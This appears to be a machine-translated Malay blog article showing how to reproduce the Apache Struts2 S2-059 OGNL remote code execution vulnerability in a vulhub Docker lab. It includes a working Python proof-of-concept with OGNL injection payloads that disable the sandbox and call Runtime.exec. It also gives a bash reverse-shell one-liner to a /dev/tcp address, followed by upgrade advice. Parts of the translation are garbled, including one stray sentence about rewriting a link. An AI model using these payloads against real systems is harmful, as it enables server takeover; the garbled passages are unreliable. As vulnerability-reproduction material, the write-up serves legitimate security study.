Rumah  >  Artikel  >  Operasi dan penyelenggaraan  >  Bagaimanakah kerentanan pelaksanaan kod jauh Struts2 S2-059 menghasilkan semula?

Bagaimanakah kerentanan pelaksanaan kod jauh Struts2 S2-059 menghasilkan semula?

王林
王林ke hadapan
2023-05-23 22:37:161486semak imbas

Pengenalan 0x00

Struts2 ialah rangka kerja sumber terbuka Web Java yang sangat berkuasa yang dilancarkan oleh organisasi perisian Apache, yang pada asasnya bersamaan dengan servlet. Struts2 adalah berdasarkan seni bina MVC dan mempunyai struktur rangka kerja yang jelas. Ia biasanya digunakan sebagai pengawal untuk mewujudkan interaksi data antara model dan pandangan, dan digunakan untuk mencipta aplikasi web Java peringkat perusahaan Ia menggunakan dan memanjangkan Java Servlet API dan menggalakkan pembangun untuk mengguna pakai seni bina MVC. Struts2 mengambil idea reka bentuk cemerlang WebWork sebagai teras, menyerap beberapa kelebihan rangka kerja Struts dan menyediakan rangka kerja aplikasi Web yang lebih kemas yang dilaksanakan dalam corak reka bentuk MVC.

Gambaran Keseluruhan Kerentanan 0x01

Penyerang boleh membina ungkapan OGNL yang berniat jahat dan menetapkannya untuk diubah suai oleh input luaran, dan ungkapan OGNL akan dilaksanakan Nilai atribut bagi teg Struts2 mencetuskan penghuraian ekspresi OGNL, akhirnya menyebabkan pelaksanaan kod jauh.

0x02 Skop pengaruh

Struts 2.0.0 – Struts 2.5.20

0x03 Persediaan persekitaran

1. Persekitaran kerentanan ini dibina dengan cepat menggunakan vulhub Alamat muat turun vulhub adalah seperti berikut:

https://github.com/vulhub/vulhub

cd vulhub-master/. struts2/s2-059

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

2 Gunakan docker-compose untuk membina persekitaran jarak menembak dengan cepat

docker-compose up -d

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

3 Selepas permulaan selesai, lawati http://ip:8080/?id=1 dalam penyemak imbas dan anda boleh melihat antara muka ujian

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

0x04 pemulihan kerentanan Sekarang

1 Lawati http://ip:8080/?id=%25{88*88} dalam penyemak imbas, anda boleh temui. bahawa 88*88 yang dilaksanakan berjaya dihuraikan dan OGNL akan dilaksanakan Nilai atribut teg Struts2 bagi ungkapan mencetuskan penghuraian ungkapan OGNL.

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

2. Gunakan poc untuk melantunkan shell Muatan shell lantunan perlu dikodkan base64

bash -i >& /dev/. tcp/172.16. 1.132/9967 0>&1

URL dikodkan base64:

Ayat asal sudah menjadi ayat lengkap yang menyediakan pautan jika saya menulis semula, boleh jadi sesuatu seperti: Berikut ialah pautan ke halaman web yang mengandungi maklumat tentang muatan runtime exec: http://www.jackson-t.ca/runtime-exec-payloads.html.

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

import requests

url = "http://127.0.0.1:8080"

data1 = {

"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"

}

data2 = {

"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('payload-base64编码'))}"

}

res1 = requests.post(url, data=data1)

res2 = requests.post(url, data=data2)

3. Ubah suai muatan dalam poc kepada muatan anda sendiri, dan kemudian jalankannya menggunakan ular sawa anda boleh melihat bahawa cangkerang itu dipantulkan semula

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

Cadangan pembaikan 0x05

1 Naik taraf kepada versi Struts 2.5.22 atau lebih tinggi

2.

https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable

Atas ialah kandungan terperinci Bagaimanakah kerentanan pelaksanaan kod jauh Struts2 S2-059 menghasilkan semula?. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:yisu.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam